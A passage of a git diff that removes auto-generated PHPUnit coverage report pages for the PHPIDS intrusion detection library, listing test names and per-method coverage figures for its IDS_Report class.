class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel548": { - "header": "3 tests cover line 548", - "body": "<ul><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel549": { - "header": "2 tests cover line 549", - "body": "<ul><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel550": { - "header": "2 tests cover line 550", - "body": "<ul><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel552": { - "header": "3 tests cover line 552", - "body": "<ul><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel553": { - "header": "3 tests cover line 553", - "body": "<ul><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel562": { - "header": "2 tests cover line 562", - "body": "<ul><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel575": { - "header": "3 tests cover line 575", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel576": { - "header": "1 test covers line 576", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel577": { - "header": "1 test covers line 577", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel579": { - "header": "3 tests cover line 579", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel580": { - "header": "3 tests cover line 580", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel603": { - "header": "1 test covers line 603", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel616": { - "header": "1 test covers line 616", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel620": { - "header": "1 test covers line 620", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel621": { - "header": "1 test covers line 621", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel654": { - "header": "1 test covers line 654", - "body": "<ul><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel666": { - "header": "36 tests cover line 666", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel667": { - "header": "18 tests cover line 667", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel668": { - "header": "18 tests cover line 668", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel670": { - "header": "36 tests cover line 670", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Report.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Report.php.html deleted file mode 100755 index d05688f7ff9c49573e6a74d005c4f2c6b5a8c7a2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Report.php.html +++ /dev/null @@ -1,1150 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Report.php.html">Report.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">13 / 13</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="86" height="10" alt="86.08 %"><img src="snow.png" width="14" height="10" alt="86.08%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">86.08%</td> - <td class="coverNumHi">68 / 79</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#53">IDS_Report</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">13 / 13</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="86" height="10" alt="86.08 %"><img src="snow.png" width="14" height="10" alt="86.08%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">86.08%</td> - <td class="coverNumHi">68 / 79</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#100">public function __construct(array $events = NULL)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">6 / 6</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#116">public function addEvent(IDS_Event $event)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#135">public function getEvent($name)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">6 / 6</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#155">public function getTags()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">9 / 9</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#179">public function getImpact()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#200">public function hasEvent($name)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#214">public function count()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#228">public function getIterator()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#238">public function isEmpty()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#248">protected function clear()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#260">public function getCentrifuge()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">2 / 2</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#275">public function setCentrifuge($centrifuge = array ( -))</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="75" height="10" alt="75.00 %"><img src="snow.png" width="25" height="10" alt="75.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">75.00%</td> - <td class="coverNumHi">3 / 4</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#289">public function __toString()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="butter.png" width="69" height="10" alt="69.70 %"><img src="snow.png" width="31" height="10" alt="69.70%"></td> - </tr> - </table> - </td> - <td class="coverPerMed">69.70%</td> - <td class="coverNumMed">23 / 33</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" 